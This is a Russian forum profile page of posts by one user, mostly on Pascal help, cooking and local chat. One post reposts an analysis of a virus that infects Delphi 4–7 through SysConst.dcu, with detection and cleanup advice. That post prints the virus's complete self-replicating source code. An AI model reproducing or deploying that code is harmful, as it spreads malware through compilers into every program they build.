-
Постов
3 765 -
Зарегистрирован
-
Посещение
Тип контента
Профили
Форумы
Блоги
Галерея
События
Сообщения, опубликованные TolkienDRR
-
-
да, чтот ошибся )) после выполнения break в цикле, программа переходит к следующему после цикла оператору, exit - завершает текущую процедуру/функцию, если вызывается в подпрограммах, или программу, если вызывается в основной части программы.
i=1;while (a>0)and(i<=n) do inc(i);
if i<=n then
begin
w:=a[max];
a[max]:=a;
a:=w;
end;
процедура первое не положительное найдет. чтобы находило отрицательное заменить цикл на
while (a[i]>=0)and(i<=n) do inc(i);
а вообще что надо чтобы функция выполняла?
Добавлено спустя 33 секунды:
а вообще что должна у тебя делать процедура swap?
-
пятница покажет, каков я буду в субботу.
-
exit используется для выхода из цикла. бряк для завершения проги (если не ошибаюсь). давно им не пользовался. а вообще есть хелп, гугл и книги =)break; это лишнее пхду -
еще учусь, но работаю рядом: спец-ть будет нынче программист (ПОВТАС ВСГТУ), работа эникейщик .
-
по теме - изменить ему с той же девушкой и уйти к ней.
-
Хр
прешь с нами на последний звонок? когда защита в курсе?
-
имхо, уйти из жизни всегда успеется и это не "по-мужски". это наоборот максимальное проявление слабости, нежелание бороться и абсолютный эгоизм.
также имеется у меня мнение, что алкоголизм от нечего делать - нечем человеку себя занять, вот и рука тянется к бутылке. если заметить, старшее поколение (да и те, кто уже с детьми) в нынешнее время не встречаются с активной жизнью, работа, дом, телек. ладно летом, у кого есть дачи выбираются туда, отсюда и понятно, почему родители так активно тянут туда своих чад. Порой это единственный выход для физической разрядки.
так о чем я, просто надо забивать своё свободное время, заняться чем-нибудь. что выбрать уже каждый сам для себя выберет, но порой этот вопрос просто упирается в финансы.
думаю мои мысли ничем новым для создателя топика не окажутся.
-
после работы поспал часов 6, т.к. всю ночь йоптынный переводчик с отчетом делал, а этой ночью ботаю многослойный персептрон (нейронная сеть). вообще чтот дел валом, вроде весь семестр что-то делал, толком времени свободного всё равно не было, а один хер период забивания гвоздей всё также напряжен =(
в общем, жизнь прекрасна... грех жаловаться, работе есть, диплом скоро будет, кушать есть, сплю в тепле =)
-
21 год, ник слева от сообщения.
-
nefi, это попытка меня переубедить? ))) твою точку зрения я давно уже понял.
поясню свою точку зрения, мистер улановка должен оцениваться именно по этим названным характеристикам, в ином случае это превращается в конкурс красоты на улановке. это всё имхо, не надо переубеждать.А тут мы что будем оценивать? "как бы подведение итогов уходящего года"? Что? Смысловая нагрузка сообщений, релизы, активность, нарушения и пр.?да и Человек года - всегда по прошедшему году оценивается =) а в 2о1о можно и не появится на улановке и быть Мистер улановка 2о1о. всё, отаргументировался =)
-
вообще ничего не слышал о конкурсе, новость xD
по мне логичнее было бы 2оо9 - как бы подведение итогов уходящего года.
ХР двухкратным давайте сделаем и всё тут ))
-
dos'ы вообще одни из революционных операционных систем
ZVO, тут
Добавлено спустя 21 секунду:
внешка ясень пень )
-
Trishy, если прочтешь полностью, наверно вся книга в конце будет промокшая =) оно того стоит, я пару мужских скупых слезинок обронил в концовке.
-
OlenkaSotnikova
ну разве что на крыльях любви взлетать =Р
мну точно не будет, работа и учеба порой не оставляют время и на поспать, что уж там до коньков =)
-
не туда написал. а так ставь себе ms-dos 3.1 =)
-
JustCallMeNow, похвально =)
-
xD улыбнуло )))И я точно так же. С ужасом читаю посты семейных девушек, которым приходится готовить еду три раза в день! Пока живу одна - ни мужа, ни детей, ни дом.животных - полная свобода, не хочешь готовить - яблоко съел и все)) С мужчиной, боюсь, такое не прокатит))JustCallMeNow, ого, 1.5 часа из 24 потратить на готовку о_О долго, я суп за полчаса успеваю от и до сварить на второе что готовишь?
-
в 18ом вроде еще есть детское кафе Баунти. точно сказать не могу, работает оно еще или нет.
так же в 2 кита, правда там выбор еды узковат.
видел детский праздник в метро устраивали, субботним утром (11-13) часов, приглашен клоун был и игры проводил прям в зале (места хватало).
-
если не секрет, сколько времени уходит на готовку всего? =)блюда первое или второе+какой-нить салат -
да я знаю, просто недавно пришлось опять попросить помощи на сурсах.ру и увидел статью эту, решил поделиться =)
-
всё таки нет первого, второго и ужина у большинства.
просто недавно знакомая удивила, что они семьей кушают и первое, и второе =)
по мне чтобы так питаться это жена должна быть домохозяйкой (без работы) или иметь прислугу.
а так семьей питаемся чем то одним в основном, в последнее время все занятые бывают и полуфабрикаты (позы, пельмени) все большее предпочтение получают =)
-
пщщ, очередная флудильня, для начала во взаимопомощь перенесли бы.
т.к. девушке не нравишься, добиться ее не можешь, фантазии не хватает, то совет один - забей. может какая-нибудь другая девушка оценит тебя. хотя сомнения, если ты не можешь решить проблему сам или посоветоваться с друзьями, а выносишь это в виртуальную жизнь.
-
Сегодня обнаружил довольно интересную вредоносную бяку, специфичную именно для Delphi. Это весьма простой, написанный на Delphi, саморазмножающийся код, который иначе как “вирусом” назвать нельзя. Особенность его в том, что он поражает только установленные Delphi версий 4-7 (включительно), так что любая программа, скомпилированная в “поражённых” Delphi, будет содержать в себе копию этого вредоносного кода и заражать любые другие найденные Delphi.
Для тех, кто не сильно хочет вникать в детали, вот краткая выдержка (окей, я просто адаптировал объявление с DK, но для надёжности вам лучше бы прочитать пост целиком):
Суть кода в том, что заражённая программа ищет на диске установленные версии Delphi и, если находит, изменяет файл SysConst.dcu (старая версия сохраняется под именем SysConst.bak), и после этого все программы на Delphi, скомпилированные на этом компьютере, начинают точно так же заражать Delphi на тех компьютерах, где они запускаются. Распространению вируса способствовало то, что некторые версии популярного мессенджера QIP и проигрывателя AIMP оказались заражены им (команды разработчиков приносят за это свои извинения).
Пока единственный обнаруженный вредный эффект от вируса - это то, что из-за ошибки в его коде при запуске заражённой программы возникает Runtime error 3, если ключ реестра HKEY_LOCAL_MACHINE\SOFTWARE\Borland\Delphi\x.0 (x - от 4 до 7) содержит неправильное значение параметра RootDir (для правильного значение ошибки не происходит). Видимо, просто обкатывалась технология распространения вируса.
Проверьте свои установки Delphi (версий с 4 по 7 включительно) и, если найдёте у себя SysConst.bak, выполните следующие действия:
1. Удалите SysConst.dcu
2. Скопируйте SysConst.bak в SysConst.dcu. Важно именно скопировать, а не переименовать, чтобы SysConst.bak тоже остался на диске - это убережёт систему от повторного заражения, т.к. вирус не производит заражения, если находит SysConst.bak, считая, что свою работу он уже выполнил.
Не пытайтесь найти вирус в SysConst.pas: его там НЕТ!
Как это началось
Собственно началось всё с обсуждения странной проблемы: Run-time error 3 на, казалось бы, ровном месте. Затем участник с ником Andrey заметил, что проблема как-то связана с QIP 2005 сборки 8094, а именно: изменяется файл SysConst.dcu в папке \Lib установленной Delphi. Несколько человек после этого подтвердили это сообщение, но не стали копать дальше.
Признаться, сперва мне казалось это либо неверными выводами (я работаю в саппорте EurekaLog и тут не счесть случаев, когда человек в чём-то уверен, но на деле всё совсем не так), либо с инфицированными “настоящими” вирусами сборками с левых сайтов. Хотя изменение именно специфичного для Delphi файла выглядело очень подозрительно. Поэтому когда я приступил к проверке, то для себя я остановился на варианте забытого отладочного кода в QIP или чем-то подобном (я знал, что QIP написан на Delphi).
Однако, установив QIP, скачанный с официального сайта, я убедился в том, что он (сам qip.exe) действительно изменяет файлы SysConst.dcu в папках \Lib установленных Delphi версий 4-7, создавая резервную копию в виде файла SysConst.bak. Я проверял, установив его на WinXP VMWare с установленными Delphi всех версий (кроме 1, разумеется). Подтвердив проблему, я запостил вот эту тему на форуме QIP.
Что это такое
Ну а дальше – надо было просто поглубже копнуть, чтобы посмотреть, что же именно за изменение вносится в SysConst.dcu. В итоге и был обнаружен этот вредоносный код, который выглядит примерно вот так:
Посмотреть код
002.
003.var sc:array[1..24] of string=('uses windows; var sc:array[1..24] of string=(',
004.'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]',
005.'=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',
006.'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin',
007.'h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle',
008.'(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile',
009.'(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while',
010.'not eof(f1) do begin readln(f1,s); writeln(f2,s); if pos($implementation$,s)<>0',
011.'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',
012.',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,',
013.'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$',
014.')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.',
015.'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0,',
016.'f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$),',
017.'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+$bak$),0,0,0,3,',
018.'0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=',
019.'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,',
020.'@t1,@t2,@t3); CloseHandle(h); end; procedure st; var k:HKEY;c:array [1..255] of',
021.'char; i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(',
022.'HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)=0 then',
023.'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=',
024.'1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\SysConst$+',
025.'$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;',
026.'begin st; end.');
027.
028.function x(s:string):string;
029.var
030. i:integer;
031.begin
032. for i:=1 to length(s) do
033. if s[i]=#36 then s[i]:=#39;
034. result:=s;
035.end;
036.
037.procedure re(s,d,e:string);
038.var
039. f1,f2:textfile;
040. h:cardinal;
041. f:STARTUPINFO;
042. p:PROCESS_INFORMATION;
043. b:boolean;
044. t1,t2,t3:FILETIME;
045.begin
046. h:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
047. if h<>DWORD(-1) then
048. begin
049. CloseHandle(h);
050. exit;
051. end;
052. {'I-}assignfile(f1,s);
053. reset(f1);
054. if ioresult<>0 then
055. exit;
056. assignfile(f2,d+'pas');
057. rewrite(f2);
058. if ioresult<>0 then
059. begin
060. closefile(f1);
061. exit;
062. end;
063.
064. while not eof(f1) do
065. begin
066. readln(f1,s);
067. writeln(f2,s);
068. if pos('implementation',s)<>0 then
069. break;
070. end;
071.
072. for h:= 1 to 1 do
073. writeln(f2,sc[h]);
074. for h:= 1 to 23 do
075. writeln(f2,''''+sc[h],''',');
076. writeln(f2,''''+sc[24]+''');');
077. for h:= 2 to 24 do
078. writeln(f2,x(sc[h]));
079. closefile(f1);
080. closefile(f2);
081. {'I+}MoveFile(pchar(d+'dcu'),pchar(d+'bak'));
082. fillchar(f,sizeof(f),0);
083. f.cb := sizeof(f);
084. f.dwFlags := STARTF_USESHOWWINDOW;
085. f.wShowWindow := SW_HIDE;
086. b := CreateProcess(nil,pchar(e+'"'+d+'pas"'),0,0,false,0,0,0,f,p);
087. if b then
088. WaitForSingleObject(p.hProcess,INFINITE);
089. MoveFile(pchar(d+'bak'),pchar(d+'dcu'));
090. DeleteFile(pchar(d+'pas'));
091. h := CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
092. if h=DWORD(-1) then
093. exit;
094. GetFileTime(h,@t1,@t2,@t3);
095. CloseHandle(h);
096. h := CreateFile(pchar(d+'dcu'),256,0,0,3,0,0);
097. if h=DWORD(-1) then
098. exit;
099. SetFileTime(h,@t1,@t2,@t3);
100. CloseHandle(h);
101.end;
102.
103.procedure st;
104.var
105. k:HKEY;
106. c:array [1..255] of char;
107. i:cardinal;
108. r:string;
109. v:char;
110.begin
111. for v:='4' to '7' do
112. if RegOpenKeyEx(HKEY_LOCAL_MACHINE,pchar('Software\Borland\Delphi\'+v+'.0'),0,KEY_READ,k)=0 then
113. begin
114. i:=255;
115. if RegQueryValueEx(k,'RootDir',nil,@i,@c,@i)=0 then
116. begin
117. r:='';
118. i:=1;
119. while c[i]<>#0 do
120. begin
121. r:=r+c[i];
122. inc(i);
123. end;
124. re(r+'\source\rtl\sys\SysConst'+'.pas',r+'\lib\sysconst.','"'+r+'\bin\dcc32.exe" ');
125. end;
126. RegCloseKey(k);
127. end;
128.end;
129.
130.begin
131. st;
132.end.001.uses windows;
Весьма несложный код и вы можете разобраться с тем, что он делает, самостоятельно.
Во-первых, он проверяет, не установлена ли на машине Delphi (перебор ключей реестра в procedure st). Если да, то код берёт файл SysConst.pas, дописывает в него себя и компилирует с помощью Delphi-же, помещая новый (уже инфицированный) dcu в папку \Lib (предварительно сделав копию, которая одновременно служит признаком инфицирования), а изменённый pas-файл – удаляет.
Откуда берётся этот самый run-time error 3, который позволил обнаружить этот вредоносный код? Ну, в код закралась ошибочка: если в реестре записан какой-либо неверный путь (например, раньше стояла Delphi 6, а теперь её нет, но ключ остался), то код вылетает вот тут:
1.{'I-}assignfile(f1,s);
2.reset(f1); // <- возбуждается исключение, если в s записан неверный путьПри вызове reset возбуждается исключение, которое при не инициализированном SysUtils приводит в выбросу ошибки run-time error 3. Интересно, что от этой ситуации должна была защищать директива {$I-} и обработка IOResult, но поскольку автор неудачно выбрал именно символ $ как служебный (в константе sc вместо апострофа), то обратный патч строки превратил {$I-} в {'I-}, что и привело к этой ошибке.
Насколько это серьёзно
Ну, если говорить о популярности этой бяки, то я сделал быстрый QIP-опрос знакомых дельфистов и у примерно 30% из них оказалась эта бяка. Т.е. если учитывать, что не у всех стоят старые Delphi, то среди D7-ков эта штука вполне может быть неплохо распространена.
Если говорить о конкретном вреде, то этот вирус безобиден, т.к. не делает ничего, кроме размножения. От него не было бы вообще никакого отрицательного эффекта, если бы не вышеуказанная “досадная” ошибка в коде, приводящая к Runtime error 3 на редких машинах.
Собственно пишу я этот пост не потому, что это так уж серьёзно, а, скорее, потому, что это довольно любопытная вещь. Ну и предупредить, конечно: эвон чего бывает. В следующий раз, если вдруг столкнётесь с его братом, будете в курсе.
Кто виноват и что делать
В топике также сообщили о наличии этой же проблемы у некоторых версий популярного проигрывателя AIMP. Ну, быстрый поиск в интернете показал, что подвержены этой пакости оказались не только QIP и AIMP, но и другие программы. Например, вот тут в комментариях сообщается о заражении некоторых плагинов к Miranda. Понятно, что сами программы тут не причём – просто была заражена Delphi, на которых выполнялась сборка дистрибутивов. Увы, антивирусы такие “высокоуровневые вирусы” не ловят (хорошо бы, кстати, отправить этот код разработчикам какого-нибудь антивируса).
Ну, собственно, что вы можете сделать: если вы используете Delphi 4 – Delphi 7, то проверьте свои Delphi, не инфицированы ли они. Посмотрите в папку \Lib: если там есть файл SysConst.bak, то вы заражены (*).
Что делать, чтобы избавиться от вируса? Удалите файл SysConst.dcu, а затем на его место скопируйте SysConst.bak, т.е.: SysConst.bak –> SysConst.dcu. Помимо избавления от вируса, это также предотвратит повторное заражение. Ну, лучше всего, конечно, взять .dcu файл с дистрибутива - для надёжности (мало ли, вдруг .bak файл тоже оказался изменён).
Если вы не заражены, то вы можете предотвратить заражение в будущем (разумеется, только этим, конкретным вариантом кода), сделав что-либо из следующего (на ваш выбор, можно несколько сразу):
* Создайте файл SysConst.bak (содержимое не важно) в папках \Lib установленных Delphi. Работоспособность основывается на том факте, что вирус сперва проверяет наличие SysConst.bak. И если он есть – то ничего не делает, считая, что он уже инфицировал эти Delphi.
* Просто запретить доступ на изменение папки \Lib (ну и \Source до кучи) вообще всем (даже админам). Ну, это не даст вирусу менять файлы, но при этом на Delphi не встанут апдейты, но это вполне действенно. Можно в принципе дать права на запись отдельной учётке и все апдейты запускать из-под неё. Ну или менять права перед установкой апдейтов и возвращать после.
* Работать в системе “как полагается”: т.е. не под админом и программы ставить в Program Files. Благодаря этому у обычного пользователя не будет прав на запись в папку, так что ваши файлы останутся в неприкосновенности. А апдейты для Delphi вы всё равно под админом запускать будете. Ну, раньше я уже говорил про Vista-у и пользу UAC в частности. Вот это как раз пример для этого случая.
Замечу, что подобной простой панацеи для уже скомпилированных в заражённой Delphi файлов нет: вам придётся пересобрать их заново. А чтобы определить, какие файлы заражены: запустите поиск по диску всех файлов, содержащих любую "говорящую" подстроку из константы, например: "CreateFile(pchar(d+$bak$),0,0,0,3,0,0)" (без кавычек, разумеется). Также это поможет найти, кто же принёс на вашу машину эту бяку: если вы нашли инфицированный файл, собранный не вами, то это и есть виновник проблем на вашей машине.
Ну, лично мне все эти проблемы по барабану, т.к. я:
* Работаю в Vista и Delphi стоит в Program Files, что значит, что её файлы защищены ACL списками.
* Использую D2007 и D2009, а конкретно этот товарищ инфицирует только D4-D7.
* Не использовал инфицированные варианты QIP и AIMP (ну, тут просто повезло).
Но то, что эти проблемы мне не грозят, не значит, что о них не надо сказать: кто предупреждён, тот вооружён. Удачи
Примечания:
(*) Ну, на самом деле, наличие файла SysConst.bak ещё не говорит со 100% точностью о заражении. Вы вполне могли создать этот файл сами или он был создан каким-нибудь вполне легитимным патчем. Чтобы убедиться на 100%, откройте файл SysConst.dcu (dcu, а не bak, т.к. в bak-е лежит девственный оригинал) в блокноте или по F3 в двух-панельном менеджере и поищите строчку “closefile(f2);” (без кавычек, разумеется). Если нашли – то ваша Delphi точно заражена. Таким же образом можно проверить и собранный exe-файл. Но проверка на SysConst.bak не даёт гарантии от поражения аналогичными вирусами. Конкретно этот экземпляр выдаёт себя наличием файла SysConst.bak. Другие могут не быть столь беспечны, поэтому 100% надёжный способ - сравнить папки \Lib и \Source с дистрибутивными: поставьте куда-нибудь чистую Delphi на чистую машину (лучше всего с read-only сидюка или ISO-образа) и сравните свои папки с чистыми. Только убедитесь, что сервис-паки и апдейты совпадают.
-
Готовите что-то одно или же полный набор как в столовых: первое, второе и десерт? =)
Чаще кушаете по одному или же всей семьей? =)
ВИЧ не существует! Самая крупная медицинская афера ХХ века
в Беседка
Опубликовано
аха, кто не верит давайте кровь "здоровых" людей введем чуть чуть и всё xD на смертельном одре может поменяют свое решение ))